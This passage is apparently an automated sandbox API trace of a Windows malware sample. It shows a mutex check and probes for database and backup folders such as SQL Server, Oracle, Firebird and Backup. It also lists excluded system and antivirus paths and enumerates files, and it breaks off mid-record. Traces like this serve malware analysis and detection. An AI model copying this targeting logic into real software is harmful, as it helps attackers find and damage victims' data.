1 [0046.956] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.956] GlobalLock (hMem=0x440004) returned 0x551178 [0046.956] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.956] GlobalUnlock (hMem=0x440004) returned 0 [0046.956] GlobalLock (hMem=0x440004) returned 0x551178 [0046.956] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.956] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.957] GlobalUnlock (hMem=0x440004) returned 0 [0046.957] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.957] GlobalUnlock (hMem=0x44000c) returned 0 [0046.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.957] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.957] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.957] GlobalUnlock (hMem=0x44000c) returned 0 [0046.957] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.957] GlobalLock (hMem=0x440004) returned 0x553188 [0046.957] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.957] GlobalUnlock (hMem=0x44000c) returned 0 [0046.957] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.957] GlobalUnlock (hMem=0x440004) returned 0 [0046.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.957] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR") returned 1 [0046.957] GlobalLock (hMem=0x440004) returned 0x551178 [0046.957] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.957] GlobalUnlock (hMem=0x440004) returned 0 [0046.957] GlobalLock (hMem=0x440004) returned 0x551178 [0046.957] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.957] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.957] GlobalUnlock (hMem=0x440004) returned 0 [0046.957] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.957] GlobalUnlock (hMem=0x44000c) returned 0 [0046.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@섪R샾R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.958] GetLastError () returned 0x3 [0046.958] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@삌R企@\x18권Q\x181")) returned 0xffffffff [0046.962] GetLastError () returned 0x2 [0046.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0046.963] GetLastError () returned 0x2 [0046.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18D")) returned 0xffffffff [0046.963] GetLastError () returned 0x2 [0046.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@삌R企@\x18♔R\x18j")) returned 0xffffffff [0046.963] GetLastError () returned 0x2 [0046.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18q")) returned 0xffffffff [0046.963] GetLastError () returned 0x2 [0046.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\♐RP") returned 6 [0046.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@╜R企@\x18?T\x18y")) returned 0xffffffff [0046.964] GetLastError () returned 0x2 [0046.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0046.964] GetLastError () returned 0x2 [0046.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x88")) returned 0xffffffff [0046.964] GetLastError () returned 0x2 [0046.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@╜R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.965] GetLastError () returned 0x2 [0046.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0046.965] GetLastError () returned 0x2 [0046.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.965] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.965] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.965] GlobalUnlock (hMem=0x44000c) returned 0 [0046.965] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.965] GlobalLock (hMem=0x440004) returned 0x553188 [0046.965] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.965] GlobalUnlock (hMem=0x44000c) returned 0 [0046.965] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.965] GlobalUnlock (hMem=0x440004) returned 0 [0046.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.965] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.965] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.965] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.966] GlobalLock (hMem=0x440004) returned 0x551178 [0046.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.966] GlobalUnlock (hMem=0x440004) returned 0 [0046.966] GlobalLock (hMem=0x440004) returned 0x551178 [0046.966] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.966] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.966] GlobalUnlock (hMem=0x440004) returned 0 [0046.966] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.966] GlobalUnlock (hMem=0x44000c) returned 0 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.966] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0046.967] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.967] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.967] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.967] GlobalUnlock (hMem=0x44000c) returned 0 [0046.967] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.967] GlobalLock (hMem=0x440004) returned 0x553188 [0046.967] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.967] GlobalUnlock (hMem=0x44000c) returned 0 [0046.967] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.967] GlobalUnlock (hMem=0x440004) returned 0 [0046.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.967] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.967] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.967] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.967] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.967] GlobalLock (hMem=0x440004) returned 0x552180 [0046.967] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.967] GlobalUnlock (hMem=0x440004) returned 0 [0046.967] GlobalLock (hMem=0x440004) returned 0x552180 [0046.967] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.967] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.967] GlobalUnlock (hMem=0x440004) returned 0 [0046.967] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.967] GlobalUnlock (hMem=0x44000c) returned 0 [0046.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.968] CharLowerBuffW (in: 